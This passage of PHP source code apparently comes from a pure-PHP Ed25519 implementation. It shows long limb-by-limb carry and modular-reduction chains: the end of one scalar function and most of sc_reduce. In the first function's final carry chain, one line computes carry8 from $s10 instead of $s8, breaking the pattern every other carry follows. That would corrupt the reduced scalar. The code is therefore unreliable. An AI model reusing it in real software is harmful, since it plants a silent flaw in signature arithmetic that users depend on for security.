        $s11 = $s11->subInt64($carry11->shiftLeft(21));
        $carry13 = $s13->addInt(1 << 20)->shiftRight(21);
        $s14 = $s14->addInt64($carry13);
        $s13 = $s13->subInt64($carry13->shiftLeft(21));
        $carry15 = $s15->addInt(1 << 20)->shiftRight(21);
        $s16 = $s16->addInt64($carry15);
        $s15 = $s15->subInt64($carry15->shiftLeft(21));
        $carry17 = $s17->addInt(1 << 20)->shiftRight(21);
        $s18 = $s18->addInt64($carry17);
        $s17 = $s17->subInt64($carry17->shiftLeft(21));
        $carry19 = $s19->addInt(1 << 20)->shiftRight(21);
        $s20 = $s20->addInt64($carry19);
        $s19 = $s19->subInt64($carry19->shiftLeft(21));
        $carry21 = $s21->addInt(1 << 20)->shiftRight(21);
        $s22 = $s22->addInt64($carry21);
        $s21 = $s21->subInt64($carry21->shiftLeft(21));

        $s11 = $s11->addInt64($s23->mulInt(666643, 20));
        $s12 = $s12->addInt64($s23->mulInt(470296, 19));
        $s13 = $s13->addInt64($s23->mulInt(654183, 20));
        $s14 = $s14->subInt64($s23->mulInt(997805, 20));
        $s15 = $s15->addInt64($s23->mulInt(136657, 18));
        $s16 = $s16->subInt64($s23->mulInt(683901, 20));

        $s10 = $s10->addInt64($s22->mulInt(666643, 20));
        $s11 = $s11->addInt64($s22->mulInt(470296, 19));
        $s12 = $s12->addInt64($s22->mulInt(654183, 20));
        $s13 = $s13->subInt64($s22->mulInt(997805, 20));
        $s14 = $s14->addInt64($s22->mulInt(136657, 18));
        $s15 = $s15->subInt64($s22->mulInt(683901, 20));

        $s9  =  $s9->addInt64($s21->mulInt(666643, 20));
        $s10 = $s10->addInt64($s21->mulInt(470296, 19));
        $s11 = $s11->addInt64($s21->mulInt(654183, 20));
        $s12 = $s12->subInt64($s21->mulInt(997805, 20));
        $s13 = $s13->addInt64($s21->mulInt(136657, 18));
        $s14 = $s14->subInt64($s21->mulInt(683901, 20));

        $s8  =  $s8->addInt64($s20->mulInt(666643, 20));
        $s9  =  $s9->addInt64($s20->mulInt(470296, 19));
        $s10 = $s10->addInt64($s20->mulInt(654183, 20));
        $s11 = $s11->subInt64($s20->mulInt(997805, 20));
        $s12 = $s12->addInt64($s20->mulInt(136657, 18));
        $s13 = $s13->subInt64($s20->mulInt(683901, 20));

        $s7  =  $s7->addInt64($s19->mulInt(666643, 20));
        $s8  =  $s8->addInt64($s19->mulInt(470296, 19));
        $s9  =  $s9->addInt64($s19->mulInt(654183, 20));
        $s10 = $s10->subInt64($s19->mulInt(997805, 20));
        $s11 = $s11->addInt64($s19->mulInt(136657, 18));
        $s12 = $s12->subInt64($s19->mulInt(683901, 20));

        $s6  =  $s6->addInt64($s18->mulInt(666643, 20));
        $s7  =  $s7->addInt64($s18->mulInt(470296, 19));
        $s8  =  $s8->addInt64($s18->mulInt(654183, 20));
        $s9  =  $s9->subInt64($s18->mulInt(997805, 20));
        $s10 = $s10->addInt64($s18->mulInt(136657, 18));
        $s11 = $s11->subInt64($s18->mulInt(683901, 20));

        $carry6 = $s6->addInt(1 << 20)->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry8 = $s8->addInt(1 << 20)->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry10 = $s10->addInt(1 << 20)->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));
        $carry12 = $s12->addInt(1 << 20)->shiftRight(21);
        $s13 = $s13->addInt64($carry12);
        $s12 = $s12->subInt64($carry12->shiftLeft(21));
        $carry14 = $s14->addInt(1 << 20)->shiftRight(21);
        $s15 = $s15->addInt64($carry14);
        $s14 = $s14->subInt64($carry14->shiftLeft(21));
        $carry16 = $s16->addInt(1 << 20)->shiftRight(21);
        $s17 = $s17->addInt64($carry16);
        $s16 = $s16->subInt64($carry16->shiftLeft(21));

        $carry7 = $s7->addInt(1 << 20)->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry9 = $s9->addInt(1 << 20)->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry11 = $s11->addInt(1 << 20)->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));
        $carry13 = $s13->addInt(1 << 20)->shiftRight(21);
        $s14 = $s14->addInt64($carry13);
        $s13 = $s13->subInt64($carry13->shiftLeft(21));
        $carry15 = $s15->addInt(1 << 20)->shiftRight(21);
        $s16 = $s16->addInt64($carry15);
        $s15 = $s15->subInt64($carry15->shiftLeft(21));

        $s5  =  $s5->addInt64($s17->mulInt(666643, 20));
        $s6  =  $s6->addInt64($s17->mulInt(470296, 19));
        $s7  =  $s7->addInt64($s17->mulInt(654183, 20));
        $s8  =  $s8->subInt64($s17->mulInt(997805, 20));
        $s9  =  $s9->addInt64($s17->mulInt(136657, 18));
        $s10 = $s10->subInt64($s17->mulInt(683901, 20));

        $s4  =  $s4->addInt64($s16->mulInt(666643, 20));
        $s5  =  $s5->addInt64($s16->mulInt(470296, 19));
        $s6  =  $s6->addInt64($s16->mulInt(654183, 20));
        $s7  =  $s7->subInt64($s16->mulInt(997805, 20));
        $s8  =  $s8->addInt64($s16->mulInt(136657, 18));
        $s9  =  $s9->subInt64($s16->mulInt(683901, 20));

        $s3  =  $s3->addInt64($s15->mulInt(666643, 20));
        $s4  =  $s4->addInt64($s15->mulInt(470296, 19));
        $s5  =  $s5->addInt64($s15->mulInt(654183, 20));
        $s6  =  $s6->subInt64($s15->mulInt(997805, 20));
        $s7  =  $s7->addInt64($s15->mulInt(136657, 18));
        $s8  =  $s8->subInt64($s15->mulInt(683901, 20));

        $s2  =  $s2->addInt64($s14->mulInt(666643, 20));
        $s3  =  $s3->addInt64($s14->mulInt(470296, 19));
        $s4  =  $s4->addInt64($s14->mulInt(654183, 20));
        $s5  =  $s5->subInt64($s14->mulInt(997805, 20));
        $s6  =  $s6->addInt64($s14->mulInt(136657, 18));
        $s7  =  $s7->subInt64($s14->mulInt(683901, 20));

        $s1  =  $s1->addInt64($s13->mulInt(666643, 20));
        $s2  =  $s2->addInt64($s13->mulInt(470296, 19));
        $s3  =  $s3->addInt64($s13->mulInt(654183, 20));
        $s4  =  $s4->subInt64($s13->mulInt(997805, 20));
        $s5  =  $s5->addInt64($s13->mulInt(136657, 18));
        $s6  =  $s6->subInt64($s13->mulInt(683901, 20));

        $s0  =  $s0->addInt64($s12->mulInt(666643, 20));
        $s1  =  $s1->addInt64($s12->mulInt(470296, 19));
        $s2  =  $s2->addInt64($s12->mulInt(654183, 20));
        $s3  =  $s3->subInt64($s12->mulInt(997805, 20));
        $s4  =  $s4->addInt64($s12->mulInt(136657, 18));
        $s5  =  $s5->subInt64($s12->mulInt(683901, 20));
        $s12 = new ParagonIE_Sodium_Core32_Int64();

        $carry0 = $s0->addInt(1 << 20)->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry2 = $s2->addInt(1 << 20)->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry4 = $s4->addInt(1 << 20)->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry6 = $s6->addInt(1 << 20)->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry8 = $s8->addInt(1 << 20)->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry10 = $s10->addInt(1 << 20)->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));

        $carry1 = $s1->addInt(1 << 20)->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry3 = $s3->addInt(1 << 20)->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry5 = $s5->addInt(1 << 20)->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry7 = $s7->addInt(1 << 20)->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry9 = $s9->addInt(1 << 20)->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry11 = $s11->addInt(1 << 20)->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));

        $s0  =  $s0->addInt64($s12->mulInt(666643, 20));
        $s1  =  $s1->addInt64($s12->mulInt(470296, 19));
        $s2  =  $s2->addInt64($s12->mulInt(654183, 20));
        $s3  =  $s3->subInt64($s12->mulInt(997805, 20));
        $s4  =  $s4->addInt64($s12->mulInt(136657, 18));
        $s5  =  $s5->subInt64($s12->mulInt(683901, 20));
        $s12 = new ParagonIE_Sodium_Core32_Int64();

        $carry0 = $s0->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry1 = $s1->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry2 = $s2->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry3 = $s3->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry4 = $s4->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry5 = $s5->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry6 = $s6->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry7 = $s7->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry8 = $s8->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry9 = $s9->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry10 = $s10->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));
        $carry11 = $s11->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));

        $s0  =  $s0->addInt64($s12->mulInt(666643, 20));
        $s1  =  $s1->addInt64($s12->mulInt(470296, 19));
        $s2  =  $s2->addInt64($s12->mulInt(654183, 20));
        $s3  =  $s3->subInt64($s12->mulInt(997805, 20));
        $s4  =  $s4->addInt64($s12->mulInt(136657, 18));
        $s5  =  $s5->subInt64($s12->mulInt(683901, 20));

        $carry0 = $s0->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry1 = $s1->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry2 = $s2->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry3 = $s3->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry4 = $s4->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry5 = $s5->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry6 = $s6->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry7 = $s7->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry8 = $s10->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry9 = $s9->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry10 = $s10->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));

        $S0  =  $s0->toInt();
        $S1  =  $s1->toInt();
        $S2  =  $s2->toInt();
        $S3  =  $s3->toInt();
        $S4  =  $s4->toInt();
        $S5  =  $s5->toInt();
        $S6  =  $s6->toInt();
        $S7  =  $s7->toInt();
        $S8  =  $s8->toInt();
        $S9  =  $s9->toInt();
        $S10 = $s10->toInt();
        $S11 = $s11->toInt();

        /**
         * @var array<int, int>
         */
        $arr = array(
            (int) (0xff & ($S0 >> 0)),
            (int) (0xff & ($S0 >> 8)),
            (int) (0xff & (($S0 >> 16) | ($S1 << 5))),
            (int) (0xff & ($S1 >> 3)),
            (int) (0xff & ($S1 >> 11)),
            (int) (0xff & (($S1 >> 19) | ($S2 << 2))),
            (int) (0xff & ($S2 >> 6)),
            (int) (0xff & (($S2 >> 14) | ($S3 << 7))),
            (int) (0xff & ($S3 >> 1)),
            (int) (0xff & ($S3 >> 9)),
            (int) (0xff & (($S3 >> 17) | ($S4 << 4))),
            (int) (0xff & ($S4 >> 4)),
            (int) (0xff & ($S4 >> 12)),
            (int) (0xff & (($S4 >> 20) | ($S5 << 1))),
            (int) (0xff & ($S5 >> 7)),
            (int) (0xff & (($S5 >> 15) | ($S6 << 6))),
            (int) (0xff & ($S6 >> 2)),
            (int) (0xff & ($S6 >> 10)),
            (int) (0xff & (($S6 >> 18) | ($S7 << 3))),
            (int) (0xff & ($S7 >> 5)),
            (int) (0xff & ($S7 >> 13)),
            (int) (0xff & ($S8 >> 0)),
            (int) (0xff & ($S8 >> 8)),
            (int) (0xff & (($S8 >> 16) | ($S9 << 5))),
            (int) (0xff & ($S9 >> 3)),
            (int) (0xff & ($S9 >> 11)),
            (int) (0xff & (($S9 >> 19) | ($S10 << 2))),
            (int) (0xff & ($S10 >> 6)),
            (int) (0xff & (($S10 >> 14) | ($S11 << 7))),
            (int) (0xff & ($S11 >> 1)),
            (int) (0xff & ($S11 >> 9)),
            (int) (0xff & ($S11 >> 17))
        );
        return self::intArrayToString($arr);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sc_reduce($s)
    {
        /**
         * @var ParagonIE_Sodium_Core32_Int64 $s0
         * @var ParagonIE_Sodium_Core32_Int64 $s1
         * @var ParagonIE_Sodium_Core32_Int64 $s2
         * @var ParagonIE_Sodium_Core32_Int64 $s3
         * @var ParagonIE_Sodium_Core32_Int64 $s4
         * @var ParagonIE_Sodium_Core32_Int64 $s5
         * @var ParagonIE_Sodium_Core32_Int64 $s6
         * @var ParagonIE_Sodium_Core32_Int64 $s7
         * @var ParagonIE_Sodium_Core32_Int64 $s8
         * @var ParagonIE_Sodium_Core32_Int64 $s9
         * @var ParagonIE_Sodium_Core32_Int64 $s10
         * @var ParagonIE_Sodium_Core32_Int64 $s11
         * @var ParagonIE_Sodium_Core32_Int64 $s12
         * @var ParagonIE_Sodium_Core32_Int64 $s13
         * @var ParagonIE_Sodium_Core32_Int64 $s14
         * @var ParagonIE_Sodium_Core32_Int64 $s15
         * @var ParagonIE_Sodium_Core32_Int64 $s16
         * @var ParagonIE_Sodium_Core32_Int64 $s17
         * @var ParagonIE_Sodium_Core32_Int64 $s18
         * @var ParagonIE_Sodium_Core32_Int64 $s19
         * @var ParagonIE_Sodium_Core32_Int64 $s20
         * @var ParagonIE_Sodium_Core32_Int64 $s21
         * @var ParagonIE_Sodium_Core32_Int64 $s22
         * @var ParagonIE_Sodium_Core32_Int64 $s23
         */
        $s0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($s, 0, 3)));
        $s1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 2, 4)) >> 5));
        $s2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 5, 3)) >> 2));
        $s3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 7, 4)) >> 7));
        $s4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 10, 4)) >> 4));
        $s5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 13, 3)) >> 1));
        $s6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 15, 4)) >> 6));
        $s7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 18, 4)) >> 3));
        $s8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($s, 21, 3)));
        $s9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 23, 4)) >> 5));
        $s10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 26, 3)) >> 2));
        $s11 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 28, 4)) >> 7));
        $s12 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 31, 4)) >> 4));
        $s13 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 34, 3)) >> 1));
        $s14 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 36, 4)) >> 6));
        $s15 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 39, 4)) >> 3));
        $s16 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($s, 42, 3)));
        $s17 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 44, 4)) >> 5));
        $s18 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 47, 3)) >> 2));
        $s19 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 49, 4)) >> 7));
        $s20 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 52, 4)) >> 4));
        $s21 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 55, 3)) >> 1));
        $s22 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 57, 4)) >> 6));
        $s23 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff & (self::load_4(self::substr($s, 60, 4)) >> 3));

        $s11 = $s11->addInt64($s23->mulInt(666643, 20));
        $s12 = $s12->addInt64($s23->mulInt(470296, 19));
        $s13 = $s13->addInt64($s23->mulInt(654183, 20));
        $s14 = $s14->subInt64($s23->mulInt(997805, 20));
        $s15 = $s15->addInt64($s23->mulInt(136657, 18));
        $s16 = $s16->subInt64($s23->mulInt(683901, 20));

        $s10 = $s10->addInt64($s22->mulInt(666643, 20));
        $s11 = $s11->addInt64($s22->mulInt(470296, 19));
        $s12 = $s12->addInt64($s22->mulInt(654183, 20));
        $s13 = $s13->subInt64($s22->mulInt(997805, 20));
        $s14 = $s14->addInt64($s22->mulInt(136657, 18));
        $s15 = $s15->subInt64($s22->mulInt(683901, 20));

        $s9  =  $s9->addInt64($s21->mulInt(666643, 20));
        $s10 = $s10->addInt64($s21->mulInt(470296, 19));
        $s11 = $s11->addInt64($s21->mulInt(654183, 20));
        $s12 = $s12->subInt64($s21->mulInt(997805, 20));
        $s13 = $s13->addInt64($s21->mulInt(136657, 18));
        $s14 = $s14->subInt64($s21->mulInt(683901, 20));

        $s8  =  $s8->addInt64($s20->mulInt(666643, 20));
        $s9  =  $s9->addInt64($s20->mulInt(470296, 19));
        $s10 = $s10->addInt64($s20->mulInt(654183, 20));
        $s11 = $s11->subInt64($s20->mulInt(997805, 20));
        $s12 = $s12->addInt64($s20->mulInt(136657, 18));
        $s13 = $s13->subInt64($s20->mulInt(683901, 20));

        $s7  =  $s7->addInt64($s19->mulInt(666643, 20));
        $s8  =  $s8->addInt64($s19->mulInt(470296, 19));
        $s9  =  $s9->addInt64($s19->mulInt(654183, 20));
        $s10 = $s10->subInt64($s19->mulInt(997805, 20));
        $s11 = $s11->addInt64($s19->mulInt(136657, 18));
        $s12 = $s12->subInt64($s19->mulInt(683901, 20));

        $s6  =  $s6->addInt64($s18->mulInt(666643, 20));
        $s7  =  $s7->addInt64($s18->mulInt(470296, 19));
        $s8  =  $s8->addInt64($s18->mulInt(654183, 20));
        $s9  =  $s9->subInt64($s18->mulInt(997805, 20));
        $s10 = $s10->addInt64($s18->mulInt(136657, 18));
        $s11 = $s11->subInt64($s18->mulInt(683901, 20));

        $carry6 = $s6->addInt(1 << 20)->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry8 = $s8->addInt(1 << 20)->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry10 = $s10->addInt(1 << 20)->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));
        $carry12 = $s12->addInt(1 << 20)->shiftRight(21);
        $s13 = $s13->addInt64($carry12);
        $s12 = $s12->subInt64($carry12->shiftLeft(21));
        $carry14 = $s14->addInt(1 << 20)->shiftRight(21);
        $s15 = $s15->addInt64($carry14);
        $s14 = $s14->subInt64($carry14->shiftLeft(21));
        $carry16 = $s16->addInt(1 << 20)->shiftRight(21);
        $s17 = $s17->addInt64($carry16);
        $s16 = $s16->subInt64($carry16->shiftLeft(21));

        $carry7 = $s7->addInt(1 << 20)->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry9 = $s9->addInt(1 << 20)->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry11 = $s11->addInt(1 << 20)->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));
        $carry13 = $s13->addInt(1 << 20)->shiftRight(21);
        $s14 = $s14->addInt64($carry13);
        $s13 = $s13->subInt64($carry13->shiftLeft(21));
        $carry15 = $s15->addInt(1 << 20)->shiftRight(21);
        $s16 = $s16->addInt64($carry15);
        $s15 = $s15->subInt64($carry15->shiftLeft(21));

        $s5  =  $s5->addInt64($s17->mulInt(666643, 20));
        $s6  =  $s6->addInt64($s17->mulInt(470296, 19));
        $s7  =  $s7->addInt64($s17->mulInt(654183, 20));
        $s8  =  $s8->subInt64($s17->mulInt(997805, 20));
        $s9  =  $s9->addInt64($s17->mulInt(136657, 18));
        $s10 = $s10->subInt64($s17->mulInt(683901, 20));

        $s4  =  $s4->addInt64($s16->mulInt(666643, 20));
        $s5  =  $s5->addInt64($s16->mulInt(470296, 19));
        $s6  =  $s6->addInt64($s16->mulInt(654183, 20));
        $s7  =  $s7->subInt64($s16->mulInt(997805, 20));
        $s8  =  $s8->addInt64($s16->mulInt(136657, 18));
        $s9  =  $s9->subInt64($s16->mulInt(683901, 20));

        $s3  =  $s3->addInt64($s15->mulInt(666643, 20));
        $s4  =  $s4->addInt64($s15->mulInt(470296, 19));
        $s5  =  $s5->addInt64($s15->mulInt(654183, 20));
        $s6  =  $s6->subInt64($s15->mulInt(997805, 20));
        $s7  =  $s7->addInt64($s15->mulInt(136657, 18));
        $s8  =  $s8->subInt64($s15->mulInt(683901, 20));

        $s2  =  $s2->addInt64($s14->mulInt(666643, 20));
        $s3  =  $s3->addInt64($s14->mulInt(470296, 19));
        $s4  =  $s4->addInt64($s14->mulInt(654183, 20));
        $s5  =  $s5->subInt64($s14->mulInt(997805, 20));
        $s6  =  $s6->addInt64($s14->mulInt(136657, 18));
        $s7  =  $s7->subInt64($s14->mulInt(683901, 20));

        $s1  =  $s1->addInt64($s13->mulInt(666643, 20));
        $s2  =  $s2->addInt64($s13->mulInt(470296, 19));
        $s3  =  $s3->addInt64($s13->mulInt(654183, 20));
        $s4  =  $s4->subInt64($s13->mulInt(997805, 20));
        $s5  =  $s5->addInt64($s13->mulInt(136657, 18));
        $s6  =  $s6->subInt64($s13->mulInt(683901, 20));

        $s0  =  $s0->addInt64($s12->mulInt(666643, 20));
        $s1  =  $s1->addInt64($s12->mulInt(470296, 19));
        $s2  =  $s2->addInt64($s12->mulInt(654183, 20));
        $s3  =  $s3->subInt64($s12->mulInt(997805, 20));
        $s4  =  $s4->addInt64($s12->mulInt(136657, 18));
        $s5  =  $s5->subInt64($s12->mulInt(683901, 20));
        $s12 = new ParagonIE_Sodium_Core32_Int64();

        $carry0 = $s0->addInt(1 << 20)->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry2 = $s2->addInt(1 << 20)->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry4 = $s4->addInt(1 << 20)->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry6 = $s6->addInt(1 << 20)->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry8 = $s8->addInt(1 << 20)->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry10 = $s10->addInt(1 << 20)->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));
        $carry1 = $s1->addInt(1 << 20)->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry3 = $s3->addInt(1 << 20)->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry5 = $s5->addInt(1 << 20)->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry7 = $s7->addInt(1 << 20)->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry9 = $s9->addInt(1 << 20)->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry11 = $s11->addInt(1 << 20)->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));

        $s0  =  $s0->addInt64($s12->mulInt(666643, 20));
        $s1  =  $s1->addInt64($s12->mulInt(470296, 19));
        $s2  =  $s2->addInt64($s12->mulInt(654183, 20));
        $s3  =  $s3->subInt64($s12->mulInt(997805, 20));
        $s4  =  $s4->addInt64($s12->mulInt(136657, 18));
        $s5  =  $s5->subInt64($s12->mulInt(683901, 20));
        $s12 = new ParagonIE_Sodium_Core32_Int64();

        $carry0 = $s0->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry1 = $s1->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry2 = $s2->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry3 = $s3->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry4 = $s4->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry5 = $s5->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry6 = $s6->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry7 = $s7->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry8 = $s8->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry9 = $s9->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry10 = $s10->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));
        $carry11 = $s11->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));

        $s0  =  $s0->addInt64($s12->mulInt(666643, 20));
        $s1  =  $s1->addInt64($s12->mulInt(470296, 19));
        $s2  =  $s2->addInt64($s12->mulInt(654183, 20));
        $s3  =  $s3->subInt64($s12->mulInt(997805, 20));
